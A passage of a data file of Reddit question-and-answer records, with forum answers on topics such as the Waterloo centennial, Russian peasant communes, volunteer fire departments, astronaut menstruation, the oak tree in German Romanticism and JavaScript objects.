Waterloo Day Banquet, originally funded by a subscription from Wellington himself, had been cancelled in lieu of a memorial service for the alumni killed in the current conflict. *The Times* reported that before the ceremony, the current Duke of Wellington planted an acorn taken from the grave of Copenhagen, Wellington\u2019s famous horse.  Both the Wellington College ceremony and that of the Royal Artillery prefigured that of the postwar commemorations of the war which involve gestures and solemnity to properly honor the dead.\n\nGerman symbolic commemoration often took the form of contextualizing the dead within the context of the German *Heimat* or homeland. One of the *Heimat* journals  *Niedersachsen* bimonthly published a special centennial issue. The expressed hope of this issue\u2019s editor was the erection of a worthy monument for the King\u2019s German Legion will be erected in Hannover when the chance of an honorable peace is near.  This issue celebrated the heroes of Lower Saxony, including luminaries like Duke Frederick William and the general Christian von Ompteda, but the issue also delved into the life of the ordinary soldier as well. For example, the issue reproduced the silhouette of sergeant in a minor militia battalion.  Although not completely free of the wartime-era bombast, the commemorative issue reproduced many of the existing monuments and gravesites of the Lower Saxon Waterloo heroes, thus grounding the memory into local culture. The issue closed with a use of commemorative memory that drew an indirect but distinct comparison to the current wartime environment: a list of the dead and wounded officers from Quatre-Bras and Waterloo, arranged by unit, rank, and name.  In this circuitous way, this *Heimat*-centered centennial of Waterloo draws upon the power of the dead by recreating a more modern form of remembrance.\n\nBut beyond just commemorating the dead, the centennial in wartime was often an excuse to trot out chauvinism and mobilize the past to fight the present conflict. One curious example of this iteration of memory was when both nations engaged in a loose dialogue with each other around a curious rumor about the Lion\u2019s Mound at Waterloo. 18 June issue of *The Times* reported that 1,500 German soldiers were at work to dismantle the 31-ton bronze lion atop one of the most prominent landmarks of the battlefield, the massive artificial earth embankment erected to honor the Prince of Orange in 1820.  The article cited an anonymous source for this story and treated it as a straightforward example of German destruction of Belgian monuments such as the destruction of Louvain the year before. In reality, the Lion\u2019s Mound remained intact during the war and the The Times story has all the symptoms of typical wartime atrocity rumor. Such accounts frequently combined an unsubstantiated report from a few witnesses with a strong tendency to believe in the enemy\u2019s worst instincts.  Rather than let this bit of wartime gossip lie fallow, the German magazine *Jugend* with  a comedic retort to this British atrocity story. After reassuring its readers that the story is false, the magazine published a poem \u201cDer L\u00f6we von Waterloo\u201d by A. D. Nora wherein the lion itself had abandoned the field due to the behavior of the British:\n\n  > When he saw Wellington\u2019s heirs allied [with the French]\n >  Murderously full of hate and anger\n > towards the grandchildren of Bl\u00fccher\u2019s\n > German blood, the Germanic blood of\n > The noble lion seized\n > Such loathing of today\n > That he tucked in his tail \n > And with animalistic haste\n > Descended from its heights\n > And no one knows whither he fled\n > Yes, that I could understand well\n > Poor Lion of Waterloo! \n\nAlthough comedic in tone, the poem insinuated British malfeasance when they elected to side with the French. The lion\u2019s disgust with this choice amounted to an assertion by A. D. Nora that contemporary Britons had relinquished their birthright to the battle.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "38fv8m", "title": "Eli5: The Peasants' Village Communes in Imperial Russia", "selftext": "I've been reading a book that deals with the Russian Revolution in one section and it mentions these communes frequently, though I'm not sure exactly what they are or how they work, can anyone help explain? \n\n", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/38fv8m/eli5_the_peasants_village_communes_in_imperial/", "answers": {"a_id": ["cruqtgc", "crv5mu2"], "score": [2, 3], "text": ["I don't have an answer, but I'm just wondering what book is it?\n", "ELI5. Right. The village commune or 'land society' (*mir* or *obshchina*) was the base unit of social organisation in rural Russia. Predominating in Russia, as opposed to the western or Central Asian parts of the Empire, by the 20th C the vast majority of Russian peasant households were part of a commune. As such it's pretty central to late Tsarist and early Soviet history, particularly the revolutionary period.\n\nSome of the key distinguishing features of the commune were:\n\n* Common land ownership. Land was formally owned by commune and controlled by the village assembly (*skhod*). This is in contrast to Western individual household farms.\n\n* Strip farming. The village's land was divided into strips (*nadel*), which were distributed by household. A family would have several strips scattered around the fields surrounding the village.\n\n* Land distribution. One of the purposes of strips was to ensure that land within the commune was distributed equally across the member households. (Typically this was according to either the number of workers or mouths to feed per household.)\n\n* Individual farming. In contrast to later collective farms, each family farmed their own strips independently (more or less). The land was held in common but production was individual.\n\n* Self-governing. The big advantage of communes for the state is that they were effectively self-governing institutions that formed the link between government and peasantry. Taxes and obligations (eg feudal or grain contracts) could be passed down to the village assembly, which would in turn divide the load amongst its members.\n\nThere was a huge amount of discussion in turn of the century Russia around the 'backwardness' of the commune. The strip system just wasn't very efficient, when it came to grain production at least. Peasants had to walk several km to reach all their scattered holdings, paths between strips ate into productive land and the small plot sized precluded the use of mechanisation. 'How to reform the mir' was the key economic question of the late Tsardom.\n\nA key set of reforms were launched by the Interior Minister Pyotr Stolypin in 1906, encouraging peasants to leave the commune and set out on their own private farms. (That is, they would still live in the village but their strips would be bundled together and taken out of communal ownership.) This had some success but the revolution of 1917 saw the 'Black Repartition': peasant households seized the noble estates and private farms and (re)incorporated them into the commune system. Village communes thus survived the Revolution and NEP, only being destroyed by the Stalinist collectivisation of 1929.\n\nThat's the short version. I also touch on the village commune [here](_URL_0_). There's a massive amount of literature on the subject and it's been a topic of controversy since the 19th C. For a ELI5 introduction to the subject, in the context of the 1917 Revolution, see James White's underrated *Russian Revolution*."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.reddit.com/r/AskHistorians/comments/2rp5fo/what_was_collective_farming_what_were_the_pros_and_cons/cni9s07?context=3"]]}
{"q_id": "5dzkcj", "title": "why do humans have the tendency to personalize everything?", "selftext": "For example, when I'm flying with my mom anywhere, we sit in coach. There's usually a curtain that divides first class from the main cabin. She always makes a comment about how they do that just to make us feel like we're not good enough. I'm assuming that's not the actual reason but why do we always feel that others' actions are aimed at us?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5dzkcj/eli5_why_do_humans_have_the_tendency_to/", "answers": {"a_id": ["da8h897", "da8hhoy"], "score": [2, 2], "text": ["The curtain is on one hand to block noise - crying babies, chit chatting people, etc can ruin a flight, and if someone's flight's going to be ruined they don't want it to be the people who paid 4x as much money.  \n\nThe curtain is also to prevent people from coach seeing the immaculate treatment of first-class passengers.  Better food, cocktails, bigger comfier seats, etc. so the people in coach don't whine about how their peanuts aren't good enough.\n\nIt has nothing to do with you being \"good enough\".  Air travel costs a fortune - the only reason you got on as inexpensively as you did is because you volunteered to be crammed like sardines into this plane.  ", "Evolutionarily speaking, it's safer to personalize something as a \"threat\" and be wrong, then it is to dismiss a real threat and be wrong.  \n\nAn early human who saw someone from another tribe with a spear and assumed they were coming to kill *them* (rather than, say, out hunting) has a better chance at surviving an attack.  He could be wrong, and the other tribesman could just be hunting.  But if it were the other way around and the first person assumed the second was just hunting, but they actually *were* coming to attack, they would be caught off guard.  \n\nSo even though it's annoying in a relatively safe world, our brains formed out in a dangerous, threat-filled world.  It worked to our advantage to assume a personal \"attack\" until we were certain we were safe. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "ct8zg3", "title": "how do volunteer fire departments work logistically, and why aren\u2019t they just normal, paid positions?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ct8zg3/eli5_how_do_volunteer_fire_departments_work/", "answers": {"a_id": ["exjd8u7", "exje0ou", "exjf9zy", "exjflca", "exjilb4", "exjishi", "exjjy2k", "exjki52", "exjz18o"], "score": [43, 35, 2, 9, 18, 3, 7, 3, 2], "text": ["Volunteer fire fighter here. Our station is ran by the county. Our city owns a very old (50s) fire truck and the county loans the other two. We are insured by the county and receive survivor benefits in case of Injury. As far as being paid, these outfits are usually in locations where the city is unable to afford it and relies on volunteers. Realistically it is volunteer so if somebody doesn't feel like going they have nobody to answer to. Hopefully I answered your question.", "My father worked as a volunteer firefighter in his township for many years. More or less it was just a tiny little town with a bunch of townies hopping on the truck. Population was next to nothing. I think it peaked under 600?\n\nHe had scanners set up in one of the offices that he could hear throughout the lower level of the house and he carried the push to talk Nextel of the time. The town was small enough that the post office didn\u2019t even deliver. So the guys would hear the call, hop in the car and respond. \n\nSomething like 80% of that town lived below the poverty line, and realistically they couldn\u2019t afford full time firefighters. County took the calls and put them out on the radio as reported structure fires, accidents with entrapment and the guys just ran. If I remember correctly neighboring townships responded to fires as well. Everyone just sort of showed up.", "I was a volunteer FF back when I was younger. The village I grew up in was 100% volunteer. No paid skeleton crew or drivers. To staff a paid department costs lots of taxpayer dollars. Yes, the firehouses and gear costs, but think about the salaries, benefits, utilities for the crews while on duty. It adds up to lots of money. And this was mid 80s when you didn't have the level of gear that's around now, and required. It was sort of unspoken that if an employee working in town for you was a volunteer, you allowed them to respond. It wasn't required, but it could be your house I was responding to. At any given fire call, you could have maybe 5-8 guys (at the time we didn't have any females), or 35. Just depended on the time, day, weather. Yes, there were those that you knew wouldn't respond after a certain time, or if it was raining/snowing out. They were more members for the social, and networking aspects of it. The dedicated guys were the ones that were there at 3am to a known false alarm (the typical pulled ones or faulty alarms), or still there at 2am rolling up hoses after the call.", "Yeah so often times in the volunteer depts they have a cheif and maybe an assistant chief that are paid. Other than that everyone is volunteer. But here's the thing, in a very rural town where there isn't a lot to do, church, school and the Vol Fire dept are your social clubs. So basically in the small towns they guys all build up a friendship with each other so people will always show up because that's what you do for your friend.", "I'm on a small \"volunteer\" fire department. We don't have enough money or calls to have a crew of guys sitting at the station getting paid all day so we all go about our day and respond to calls when they come in and when we can. Sometimes we're short staffed and call in mutual aid from a nearby department. We do get paid tho, something to the tune of $30-40 a call. That can be good pay for a silly disregard or shit pay for a 4 hour fire, but I find that the guys here don't care much about the money. We get something in the range of 5 calls a week, usually at 3:00 am or so\ud83d\ude43. \nWe train twice a month and have a meeting once a month. It's pretty much a social club where we occasionally clean the station and trucks or fight a fire etc.", "Lots of explanations already but...\n\nCareer (paid) firefighters make pretty good money. Small towns would either have to do without a fire department or rely on nearby cities to dispatch firefighters to them.\n\n\"Volunteer\" firefighters have regular jobs, but carry a pager so they can respond to fires (or sometimes as support to paramedics) in town.\n\nWhile they're on a call they're usually paid a little bit. They also get pretty solid tax incentives where I'm from. They also get the training they would need to get hired as a career firefighter.\n\nIt's a good gig...", "I was a volunteer firefighter in Suburban Philadelphia for around 20 years.  I'm still a \"member\" of the company but I no longer go out on fire calls.\n\nIn our situation, the fire station is owned by the township along with the fire apparatus (four engines, a ladder truck, a rescue truck and a utility \"tactical\" vehicle).  The firefighting gear is owned by the fire company, which is a non-profit corporation.  Funds to purchase equipment are provided by a \"Relief Association\" which is a separate nonprofit corporation that gets its funding from the state.  The state gets the money from a tax that it imposes on insurance companies that write policies on properties in the township.  If you buy homeowners or property insurance, a portion of your premium goes to the state via a tax, which is dedicated to the local volunteer fire company to fund equipment purchases (turnout gear, air packs, rubber gloves, medical equipment, etc.).\n\nWe also have pledge drives where we'd send out requests for donations to the public.\n\nAs to why they're not paid?  It costs a lot of money to outfit a paid fire department.  Salaried firefighters are not cheap, and they usually require decent benefit and pension packages  Money doesn't grow on trees so towns with paid fire departments have to raise taxes to pay for them.  Most suburban and rural towns don't have enough incidents to justify a full-time paid department and the substantial increase in tax burden that it would bring.\n\nThe problem today is that there aren't enough volunteers.  We rely on \"mutual aid\" systems where if there's an incident in my township, the county will dispatch fire companies from neighboring townships and boroughs too in order to help insure that enough people show up.  The best time to have your house catch on fire is 7:30 on a Tuesday night when we're all at the fire house for training.  The worst time is 1:00 on a weekday afternoon when everyone is at work or school and can't get away to run off to the fire station.", "Volunteer fire chief from Nova Scotia here. In my jurisdiction we fall under the municipality. Houses and businesses pay a set rate of fire tax based on assesment value. The municipality collects this tax for our district and deposits it into our bank account. It is up to the members to decide how to spend the money (following municipal fiscal policies)\nWe are 100% volunteer and receive no financial compensation.\n We do not have the population density to justify hiring career firefighters, the municipality just wouldn't be able to afford it, which I would say is the case for most of Canada and the United States, the tax base just isn't there to support paid firefighters.", "My township is 6 miles by 8 miles. We've got about 800 residents. About 2 dozen people form our department, mostly medical staff. We have about 8 firefighters, and 5 live in the city, 20 miles away.\n\nWe haven't been called out for any fires in 10 months, and 2 or 3 times a month we're called out for a medical.\n\nWe get paid from a fixed budget, each volunteer gets a portion of the budget based of how often they turn out for training or calls, proportionately. I typically receive about 600 dollars a year, a tax credit, and a couple free meals."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "6o9rki", "title": "How do women astronauts deal with periods in antigravity?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/6o9rki/how_do_women_astronauts_deal_with_periods_in/", "answers": {"a_id": ["dkfu76m", "dkg6g0h", "dkgebjo", "dkgly78"], "score": [14112, 266, 1017, 122], "text": ["You mean \"micro gravity\" as \"anti-gravity\" is more of a science fiction term ([micro-gravity is NASA's term](_URL_3_) about living and working in/on spacecraft). Or more likely just \"weightlessness\".\n\nFemale astronauts have the option of carrying their preferred pads or tampons while in space ([Popular Science 2016](_URL_2_)). If they choose to not get their periods they can medically induce amenorrhea, or stop their periods from happening ([The Atlantic 2016](_URL_4_)). There was [a scientific paper](_URL_5_) written on medically induced amenorrhea in female astronauts in 2016. \n\nThere are several ways to induce amenorrhea, through hormonal pills, injections or intrauterine device (IUDs). While it is safe to have your period in space, it may not be all that convenient to switch pads or tampons and deal with disposal. The water treatment is also set up to recycle water from urine, but not menstrual blood so that is also an issue ([American Chemical Society 2014](_URL_0_)).\n\nAccording to National Geographic (link below) if a woman spent three years in space she would need about 1,100 pills, which adds some weight to a mission but is less unwieldy than many tampons. Alternatively, three years worth of tampons (or pads) still weighs more than three years worth of pills.\n\nFemale astronauts' periods have a long history. National Geographic has a great opening paragraph in one of [their articles](_URL_1_) on the subject:\n\n > Sally Ride\u2019s tampons might be the most-discussed tampons in the world. Before Ride became the first American woman in space, scientists pondered her tampons, weighed them, and NASA\u2019s professional sniffer smelled them\u2014better to take deodorized or non-deodorized?\u2014to make sure they wouldn\u2019t smell too strongly in a confined space capsule. Engineers considered exactly how many she might need for a week in space. (Is 100 the right number?, they famously asked her. No, Ride said. That is not the right number.)", "Are astronauts required to have appendicectomies and cholecystectomies prior to their mission? If so, what about endometrial ablation? Given the radiation in space, have any female astronauts gone on to have kids? If so, have they turned out 'normal'?", "I think what you were getting at is how does the blood come out without gravity? Because in that case it actually doesn't require gravity, the muscles in the uterus push it out sufficiently enough that it's unnecessary to worry about, but the comments about how you would deal with it are all correct and quite frankly hilarious on the scientists part. As a physicist who is a part of mission planning it's obvious that none of the men (who make of 90% of the field) would have any idea how to deal with such an issue. \n\nEdit: source! This article mentions how the uterus does the work. _URL_0_", "Addendum: Now that I am at my computer, I can source/edit the post for those interested.\n\nThe three predominant modalities previously used were depot medroxyprogesterone (Depo-Provera), danazol, or oral contraceptive pills (OCPs) in suppression-dosing fashion (RT Jennings  &  ES Baker's chapter from Principles of Clinical Medicine for Space Flight by Barratt 1st Ed 2008). Suppression dosing means that they would skip the placebo week and restart a new pack every three weeks to cause amenorrhea. The most common choice was OCPs which would make since given the more abnormal bleeding patterns we may see initially with Depo and the fear of bone mineral density effects that both space and Depo could play (Knunitz 2009). Though it must be noted, that OCPs were not without risk either. Depot medroxyprogesterone is a progesterone-only contaceptive; the most common OCPs contain estrogen and progesterone. Exogenous estrogen may increase the risk for venous thromboembolism given female astronauts now meet Virchow's Triad of hypercoaguability caused by the estrogen, stasis in space, and trauma that occurs. Dr. Varsha Jain at Kings College London is an expert on this and has a freely-available lecture online [here](_URL_0_). \n\nAs others have mentioned, the ISS can recycle urine, but not blood and thus not having any bleeding was strongly desired. If women were done with childbearing, they sometimes would perform an endometrial ablation to prevent bleeding. This was preferred over a hysterectomy because they would prefer not to create adhesions in the abdomen and put astronauts at risk for bowel obstruction etc while in space. This is again discussed in the chapter by Jennings linked above. Currently, Mirena IUDs are preferred. This is more appropriate modality in that it can cause amenorrhea, decrease risk of endometrial cancer, act as highly-effective birth control, and decrease the risk of venous thromboembolism (VTE) by not giving exogenous estrogen. \n\nEdit 2: I would have loved to answer more of the questions on here or respond with valid peer-reviewed sources, however, Mods locked the thread. Feel free to ask other questions as well if you would like. I am an OBGYN with a strong interest in space medicine. Sorry for the delay in editing/providing sources. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.acs.org/content/acs/en/pressroom/presspacs/2014/acs-presspac-april-9-2014/recycling-astronaut-urine-for-energy-and-drinking-water.html", "http://phenomena.nationalgeographic.com/2016/04/22/how-do-women-deal-with-having-a-period-in-space/", "http://www.popsci.com/brief-history-menstruating-in-space", "https://www.nasa.gov/audience/forstudents/5-8/features/nasa-knows/what-is-microgravity-58.html", "https://www.theatlantic.com/health/archive/2016/04/menstruating-in-space/479229/", "https://www.nature.com/articles/npjmgrav20168"], [], ["http://www.today.com/health/do-you-get-your-period-space-why-microgravity-menstruation-matters-t87711"], ["https://ntrs.nasa.gov/archive/nasa/casi.ntrs.nasa.gov/20150001648.pdf"]]}
{"q_id": "57lu5f", "title": "What's the significance of the Oak Tree in the context of Germanic peoples?", "selftext": "Tag, Freunde\n\nI am an undergraduate student who has read around 500 pages of German / Austrian literature (short stories, poems, book excepts, etc) and have found the romanticism of the oak tree to be prevalent in a lot of what I've read (texts going as far back as 1800.)\n\nThe oak tree seems to have more spiritual importance to the anglo saxon pagans, druids, and norse folk than it does to the Germanic people specifically. I know these groups mingle throughout history, and share a lot of similar spiritual beliefs, yet it strikes me that there should be more focusing on the proto-german / german people. \n\nIn Olympia, a propaganda film by Leni Riefenstahl, high scoring competitors in the Olympics receive an oak tree as a prize. On the back of certain denominations of the Euro coin, one will find a woman planting an oak tree. I also heard recently from my German professor that the early german people were believed to have descended from the oak tree, as opposed to Hesiod's theory of man being sculpted from clay. \n\nThese examples personally strike me as profound, and lead me to believe there is more to uncover than I already have. \n\nI am trying to gather information about a strictly german connection with the oak tree. I understand \"german\" was a more linguistic distinction than a racial one for quite some time. It makes finding this information difficult. Am I on a wild goose chase?\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/57lu5f/whats_the_significance_of_the_oak_tree_in_the/", "answers": {"a_id": ["d8tbuqj", "d8vb0a5"], "score": [4, 14], "text": ["As a follow-up question or potential suggestion for a rabbit hole to go exploring - could it have any connection to Irminsul or Yggdrasil, the ancient Germanic pagan holy trees? ", "This is such a good question, have my up vote.\n\nAs u/Njordsvif rightly stated, there was a significant increase in the study of German history and traditions by a group of romantic writers who were informed by a period of German literature known as *Sturm und Drang* (Storm and Stress) from 1795-1810. *Sturm und Drang* originated from Weimar, led by writers Goethe and Schiller, and sought to combat the enlightened ideals of *Aufkl\u00e4rung* (Enlightenment), a prominent part of the system of governance in central Europe during the middle of the eighteenth century. They attempted to do this by showcasing the power of nature, human emotion and individualism as greater than the rationalisation and logic championed by French philosophers. Further influenced by Johann Georg Hamman, whose distrust of reason and logic was in distinct contrast to Kant, *Sturm und Drang* was a form of proto-romanticism, which attempted to classify the culture of Germany, with the hope that the ideals of the proto-romantics would go hand in hand with a *kulturenation* and dispel the French thought and theory exemplified by Voltaire and followed by the Prussian King, Frederick II. Originally, this period of German literature was not intentionally written to be the antithesis of *Aufkl\u00e4rung*, but merely an intellectual dialectic between two schools of thought, though Hamman as influenced by Hume, placed significant weight in God as a divine being.\n  \nThe rise of Romanticism and the romantics coincided with the study of a \u2018German\u2019 past and was used as a direct counter to the French Revolution. It was an attempt to rebut the middle class thinkers, who now controlled France and who actively sought to promote the revolution as the natural progression of enlightenment thought. Edmund Burke, the most famous counter-revolutionary agreed with many of the leaders of the revolution, and believed enlightenment did inform and encourage the violent destabilisation of the *ancien regime*. Within Germany such thought was explored by a group called the Jena Romantics, led by the two brothers Friedrich Schlegel and August Schlegel. This group looked to dispel the rhetoric of the revolution and its catch cry *Libert\u00e9, \u00e9galit\u00e9, fraternit\u00e9* by placing it as an ideal counter to what it meant to be \u2018German\u2019 through plays, novels, pamphlets and poems. \n\nFirst and foremost these writers were actively seeking to counter a political thought that would displace them and their status as men of knowledge, wealth and honour. In turn, lumping them in with the peasants, bourgeois, professions and artisans. A social class they had no inclination or desire to a part of. In order to confront the encroaching ideology of the French Revolution, now making it\u2019s away across the Rhenish Palatinate and southern Germany with the armies of France, Friedrich Schlegel and his brother looked to classify the ideas of the revolution as \u2018other\u2019 and thus counter to central Europe and Germany. Yet, in order for there to be an \u2018other\u2019, the Jena Romantics had to create the idea of Germany and what it meant to be \u2018German\u2019. \n\nUp until the beginning of the French Revolution, the idea of being German and Germany was a purely linguistic label used to cover the hegemony of the language in central Europe. To the vast majority (most probably 95%), the Holy Roman Empire was an archaic administrative and undemocratic system, which provided them with no social cohesion. The local particularism and regional patriotism of the small kingdoms of the *Reich* and the inability for most to travel, negated any genuine consensus on what it meant to German. From the very highest of the class echelon to the very lowest, the direct connections between King and his subjects and the will of the dynasty trumped any thought of \u2018Germany\u2019. Loyalty was owed to the sovereign who governed an individual\u2019s local region, whether that was state, province or parish. Thus, the romantics hoped to mobilise those who shared a language in support of ancient privileges, which separated the aristocracy, the clergy and those they gave patronage from the rest of society, who according to the ideals of the revolution-deserved equality.  \n\nSchlegel and his brother looked to build on the ideas of a German *kulturenation* as the foundation of their German nation. The Jena Romantics drew upon on the shared similarities of traditional German folk stories, an idealised version of the medieval period, where the Teutonic kingdoms embodied German masculinity and the tribes of Germania, which were a direct opponent to the classic civilisations of Rome and Greece studied by enlightened thinkers, to create a shared national consensus. An important source for the writers of this early \u2018German\u2019 history was the historical and ethnographic work found in Tacitus\u2019s Germania. It is here that a definitive outline of ancient Germany was provided and particular attention was paid to the landscape, foreign to the roman \u2018other\u2019 used to the Mediterranean and its coast. In Germania, Tacitus lavishes attention on the tribes of Germania and depicts them as a noble and worthy people, counter to the soft and lazy romans he continuously critiques. Of particular importance was the religious practices of Suebi and their Druids (druids maybe of a Celtic tradition, but to the Romans they were synonymous with barbarians) who worshipped under a Sacred Oak grove. In chapter 39 Tacitus states: *\u2018At a set time all the peoples of this blood (Suebi) gather, in their embassies in a wood hallowed by the auguries of their ancestors and the awe of ages. The sacrifice in public of a human victim marks the grisly opening of their savage ritual'.* It is from this passage that the Romantics were given the strongest possible symbol highlighting the myriad of old German tribes united, one which would be translated into the present day. It stuck out for these men for two reasons. First, the worshipping under a Sacred Oak grove (it is inferred as an oak grove as Tacitus make mention of it as a tree foreign from Italy) appealed to the Romantic epistemology, which emphasised human activity condition by nature in the form of custom and usage. Second, the gathering of embassies as one to participate in a religious practice highlighted a time when the German people were united. These two points, coupled with the oak tree as consistent across central Europe, became a clear motif for the Romantic writers and was used to consistently mark the *kulturenation* of the people.\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "2pvr6e", "title": "what is cross-fit and why is it mocked so much?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2pvr6e/eli5_what_is_crossfit_and_why_is_it_mocked_so_much/", "answers": {"a_id": ["cn0fj4k", "cn0fl1e", "cn0isqq"], "score": [41, 14, 3], "text": ["Basically, it's a fitness programme/movement of sorts that involves high-intensity interval training and some weightlifting.\n\nIt has a negative image among some circles because CrossFit practitioners are seen to be quite obnoxious and obsessive over it, so they won't shut up about it among their friends so much so that CrossFit's like an all-consuming cult. In part, it's due to how CrossFit is structured and advertised as a \"lifestyle\", with daily workouts to boot so everyday there's always something \"CrossFit\"-ish the \"CrossFitter\" friend of yours can talk (and post online) about.", "Alot of their trainers are also not comprehensively trained enough to spot an individuals weakness or form resulting in heaps of people with injuries.  ", "This about sums it up:\n_URL_1_\n\n_URL_2_\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://www.dailymotion.com/video/x226f69_pros-vs-bros-weightlifting-contest_fun", "https://www.youtube.com/watch?v=4KsL_Ib4qF8", "http://www.dailymotion.com/video/x22p3g0_deadlifts-from-the-washed-up-loser-olympics_fun"]]}
{"q_id": "e5b4fc", "title": "the difference in creamers and their best uses: half and half, light cream, heavy cream, whipping cream, heavy whipping cream", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/e5b4fc/eli5_the_difference_in_creamers_and_their_best/", "answers": {"a_id": ["f9itjcm", "f9j1wam"], "score": [11, 2], "text": ["Half and half is half milk half cream. Best and possibly only use is in coffee.\n\nHeavy cream is the basic cream. Use for everything that you want for cream. Try it with fruit, like fresh cut peaches and cream. Try it in your coffee and watch it unfurl...it's absolutely beautiful.  It is probably the only cream I would put in tea.  You would use this for making homemade ice cream.\n\nLight cream is the lighter, less fat version of heavy cream. No good use, since if you want \"diet\" cream you came to the wrong place. You probably should just be using less heavy cream. \n\nWhipping cream is for whipping.  Add sugar. Takes alot of arm strength, or a mixer.  I believe it is lighter than regular heavy cream which helps it to whip easier. I don't know about heavy whipping cream, as I've only tried to make homemade whipped cream once and I dont know if I bought whipping cream or heavy whipping cream.", "I strictly only use heavy whipping cream, and not the ultra-pasteurized stuff either. I find it is the best all-rounder, allowing me to have only one cream in my fridge. I've tried them all. I always have some on hand - it's a staple.\n\nIt is perfect in coffee in the morning, providing a richness with less cream needed vs. say a half-and-half. It blends nice when I mix it with marinara for a cream sauce on pasta, works great in home made cream of chicken soup, is amazing poured over sliced up strawberries or peaches with a sprinkle of sugar, adding a smidge gives fluffiness to scrambled eggs, and I can flat out make kick-ass whip cream from it that puts cool whip to shame, for dessert / milkshake toppings, etc.\n\nYep, heavy whipping cream. DONE."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "1mqaz6", "title": "javascript objects basics", "selftext": "I recently attained a bachelors in programming however I still feel like there are a few things that I missed or don't fully grasp. While I should have asked in school, I felt like it was something that would come to me. And most of it has, however, I was playing with _URL_0_ and learning JavaScript (which I never had a class on). The whole course has been fairly easy until I come to objects. For some reason, I just can't grasp the concept. So, while I know objects are used in other languages and I've probably used them in coding without even realizing it, I would like it explained like I am five. \nIf you are more familiar with a programming language other than JavaScript, I am fluent enough to understand what you're saying. \n\ntl;dr I have a background in programming but can not grasp objects. \n\n\n\n\nThanks!", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1mqaz6/eli5_javascript_objects_basics/", "answers": {"a_id": ["ccblo9e", "ccblpll", "ccblqwu", "ccbmfvh"], "score": [2, 2, 2, 2], "text": ["Everything in Javascript is an object.  Strings, Numbers, Functions, Arrays, etc -- these are all objects.\n\nAt the same time, there's a formal declaration for an object:\n\nvar myObj = new Object();\n\nOr, most folks just use the literal syntax:\n\nvar myObj = {};\n\nSo what are you confused about?  Prototypes? Doing OO Javascript?", "Objects are like containers with diving selection where you can sort your items (data). You can create many containers, and fetch certain items from each container if you like, or copy items, or even create another container inside.  ", "Objects are things which have properties and do stuff.  They are described by a \"class\".  You can think of a specific car as an object, and the diagram of the car as the car \"class\".  From that diagram you can create many different \"instances\" or individual creations out of the car class.\n\nThe car, being an object normally has both properties, and methods.  These can be thought of as descriptions of your object (properties) and stuff your object can do (methods).\n\nSo a property might be \"Weight\" which would have the value of a ton, or whatever cars way, or \"horsepower\" which would be some other number, or \"color\" which might be orange because hey, why not?  These are all properties.  Your car diagram (the Class) will describe things like horsepower or color, but individual customers can get their car in different colors.  The Color \"property\" can be different depending on which specific car object you're talking about.\n\nBesides properties, objects also have methods. These are descriptions of how the object interacts with the world.  For example, there might be a method \"Accelerate\" which increases the cars speed, or \"BurstIntoFlames\" which might do what it says.  The methods might change some of the objects properties as well.  So after acclerating, the \"speed\" property will be different, and after \"BurstIntoFlames\" the car might now be black.\n\nObjects are useful because you don't really need to know how cars handle Bursting into flames, just knowing that's one of the things a car can do is enough, you just tell the car to do that, it figures out how it's done internally, and you know when you check back the car object will have burst into flames.\n\nLet me know if that all makes sense and if there's something more specific you're looking for.", "People like to say 'an object is an instance of a class'. What that really means is that first, you come up with a class, which is essentially a 'blueprint'.\n\nA class is a way to set up a properties of related items. So for example, a 'dog' class would have methods/functions for barking, walking, tail-wagging.. things that EVERY dog can do. All dogs also have fur, legs, and teeth.\n\nNot all dogs have the same number of legs, color of fur, or number of teeth. So when you want to have an individual dog in your program, you create an individual dog out of your existing dog class. That dog will have a unique identifier and its own unique set of properties. For example, you could create Dog1, set it to have 4 legs, black fur, and 30 teeth. Dog1 is an object of your dog class. It can do everything that every other dog can do, but it might also have its own unique functions/properties.\n\nHope that helps :)"]}, "title_urls": [], "selftext_urls": ["codecademy.com"], "answers_urls": [[], [], [], []]}
{"q_id": "22a1e3", "title": "Was it ever possible for an infantryman to rise through the ranks to attain a significant command, and if so how common was it?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/22a1e3/was_it_ever_possible_for_an_infantryman_to_rise/", "answers": {"a_id": ["cgkssch", "cgkud5s", "cgkzb2x", "cgl1hsv"], "score": [12, 9, 7, 2], "text": ["During the American Civil War many of the late war officer corps were extremely young for their rank. This was a result both of the heavy attrition suffered by Union forces and the constant need for rebuilding and expansion following the defection of many members of the army. Some of those officers did rise from either the enlisted ranks or from the bottom of the officer chain. \n\nOne such was [Elisha Hunt Rhodes](_URL_1_), a Rhode Island man who survived the entire war. He began his career as a private in the 2nd Rhode Island Volunteer Infantry and eventually rose to command of the regiment as a colonel serving under General Sheridan in the Shenandoah Campaign. Much of his journal and many of his letters are compiled in [All for the Union : the Civil War diary and letters of Elisha Hunt Rhodes](_URL_0_). It's a widely available and very readable account of the war. ", "It was actually, some what common for relatively obscure, indistinct men to be given high commands in Nazi Germany, especially near the end of the war. \n\nThere was the case of Leon Degrelle. He was a minor Walloon politician and university dropout, when the Germans invaded they created a collaborationist unit called the Walloon legion. Degrelle joined as 